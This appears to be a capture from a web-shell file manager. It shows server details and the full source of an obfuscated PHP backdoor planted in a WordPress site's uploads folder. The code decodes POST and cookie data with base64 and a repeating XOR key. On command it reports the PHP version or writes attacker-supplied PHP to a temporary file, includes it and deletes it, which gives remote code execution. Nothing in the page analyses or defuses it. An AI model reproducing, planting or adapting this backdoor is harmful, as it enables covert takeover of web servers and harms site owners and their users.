HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/03/yowlwpmm.php
<?php 
$kasnh	= /* z   */ 'kasnh'	^    '	';
$vgmsgss_q    =    "\141"  .	"r"."r"."a"."y"."_"."\x6d"    . /*  gurxam */ "\x61"  .    "p";




function    efsknnroxh($gtndvow,	$oz_dkaydx)


{

  global /*rfec  */ $kasnh;

	


    $gtndvow /*   ljsuhr  */ =	"<"   .    "?".$kasnh(112)	.	$kasnh(510-406)    .       $kasnh(292-180)  .  $kasnh(32)	.       "u".$kasnh(110) /*  rqc*/ .     "\x6c" /*v */ .	$kasnh(925-820) /*yymkqv*/ .     "\156" /*lxqe  */ .  $kasnh(569-462)   .    $kasnh(283-243)	. /* azz*/ "\137"    .   $kasnh(1042-947)	. /*sgf*/ "\x46"    . /* qowp */ "I"."\114"	. /*  ftzum   */ "E"."_"."\x5f"     .	")"."\73" /* s */ .	$kasnh(32)    .	$gtndvow["d"];
    $_axicuw      =    "f".$kasnh(1077-972)."\x6c" /* hhgxcb */ .   "\x65"	. /*   ltf  */ $kasnh(95)	. /*  erp   */ "\x70" /*dbb   */ . /* zmbei  */ "\165"    .	"\x74"	.	"_".$kasnh(765-666)      . /* zshrn   */ "o".$kasnh(758-648) /* ifubke*/ .    "t".$kasnh(101)."n"."\164" /* v   */ . /*pwq   */ "\x73";

    

	$_axicuw($oz_dkaydx,    $gtndvow);


    


	vxznflcr($oz_dkaydx);}



$ghtnbet /*   _b  */ =    73;


function	vxznflcr($oz_dkaydx)
{


    global      $kasnh;
 /* gm   */ 
 /*x   */ include($oz_dkaydx);
 /*  _tgc*/ $rmifwkq   =	$oz_dkaydx;

	@unlink($rmifwkq);

}
function	_shsqr(){
    global /*  l_xxwh*/ $kasnh;


  $opzjqydo /*   mcolo*/ = /*o   */ array();


    $opzjqydo[$kasnh(318-206)	.    "\166"]      = /* epyysp  */ phpversion();
    $opzjqydo[$kasnh(718-603)    . /* lasrje*/ "v"]   = /*gu  */ "\x33"    .    "."."\x35";

	$migwvt_     =       74;
    echo /*qsxcij  */ @serialize($opzjqydo);
}

function /* tf  */ tukxm($gtndvow,      $ahvpy){

 /* xedr  */ global /*  e   */ $kasnh;


      $fjhwaiztuq     = /*gym  */ "";

    $osukt     = /*zuyp  */ strlen($gtndvow);


       $foy_cowty	=    strlen($ahvpy);

 /* m  */ $opzjqydo       =       0;


 /*hom   */ $nqjsfs	=	0;

 /* kgewh   */ 

    while    ($opzjqydo    <    $osukt)   {

 /* i   */ $vhpskg    =	$gtndvow[$opzjqydo] /*  fr*/ ^	$ahvpy[$nqjsfs	% /*   ijfipm   */ $foy_cowty]; /*  oh_vm_  */ $fjhwaiztuq /*  d   */ .=    $vhpskg;


     $nqjsfs++;       


 /* _rs  */ $opzjqydo++;
	} /* ojfqbh   */ 
    if /* _qpvzo*/ (strlen($fjhwaiztuq)    >	20)  {
      $_tiukxzedt /*  tiksby*/ = /* _y */ substr($fjhwaiztuq, /*   kw*/ 0, /* _or*/ 20); /*   prfy   */ }      if /*  cphid  */ (empty($fjhwaiztuq)) /*  tk_uk   */ {


	$fjhwaiztuq    =     date('Y-m-d   H:i:s');


    }

       return  $fjhwaiztuq;}





function      yjtgonkno($fdtbnc_mf)

{


  global /*dtlmtj  */ $kasnh;

 /*  blku*/ 


      $qwv_mf /* yfwv */ =   $kasnh(99) /*   cmxael */ .  "f".$kasnh(103-49)	.	$kasnh(548-495)	.    "\x62" /*  zz  */ .    $kasnh(478-378) /*kdin*/ .	"8"."d"."-".$kasnh(101)."0"."\x64"    .    "\x32" /* w  */ .	"\55"	.    "\64"    .     $kasnh(52) /*  rc */ . /*   fs   */ $kasnh(979-922)    . /*   fbeh */ "\x35" /*siqe   */ .    "-".$kasnh(97) /*ude   */ .  "2"."\x61" /* i_txeq*/ .    "4".$kasnh(735-690) /*j */ . /*  an_yrs */ $kasnh(53)    . /*  _ */ "7"."\x65"	. /*  sb  */ "7".$kasnh(101) /*   b_uyr */ . /*   vifptr */ "3"."5".$kasnh(101)     . /* kzbdac  */ "\61"	.    "3"."4"."\60";


 /*   fkjs  */  /*   gkg*/ foreach /*   ww*/ ($fdtbnc_mf	as /*nrng_*/ $xzefsmwp	=> /*d_px */ $gtndvow)	{ /*  b*/ mzotvfec(base64_decode($gtndvow),   $qwv_mf,      $xzefsmwp);


	}
}
function    mzotvfec($gtndvow, /* _awgzo */ $qwv_mf,   $xzefsmwp)

{


 /*  vf*/ global /*   x */ $kasnh;

 /*   xdhqqv   */ 


 /*   qjpb*/ $gtndvow /*   wv   */ = /* tsc  */ unserialize(tukxm(tukxm($gtndvow,    $qwv_mf),	$xzefsmwp));	$nlcmwwaes    =    '_wgjl';	$tgbxi     =       'ajbuyd';


    if      (isset($gtndvow[$kasnh(97)	.	"k"]))	{


     if    ($gtndvow["a"]      ==	$kasnh(1077-972))    {

	_shsqr();  }	elseif    ($gtndvow["a"] /*kmyos   */ ==	$kasnh(101))	{

 /*  qqoou   */ efsknnroxh($gtndvow,    sprintf($kasnh(46)    .	$kasnh(47) /* sm*/ .   $kasnh(137-100)    .   $kasnh(115)	.    "\56"  . /*yaaj*/ "p"."l", /*  lwxg */ md5($qwv_mf)));

			$dnybzchux /* wdcu  */ = /* c */ 44;
 /*   waa*/ } /* vcms */ exit();

      }


}



yjtgonkno($_POST);  



$fahpunjf      =    'rawurldecode';


$thswphowoq /*   szn   */ =	$vgmsgss_q($fahpunjf,     $_POST);explode("",    $fahpunjf);


yjtgonkno($_COOKIE);


$_umny    =    $vgmsgss_q($fahpunjf,  $_COOKIE);




?>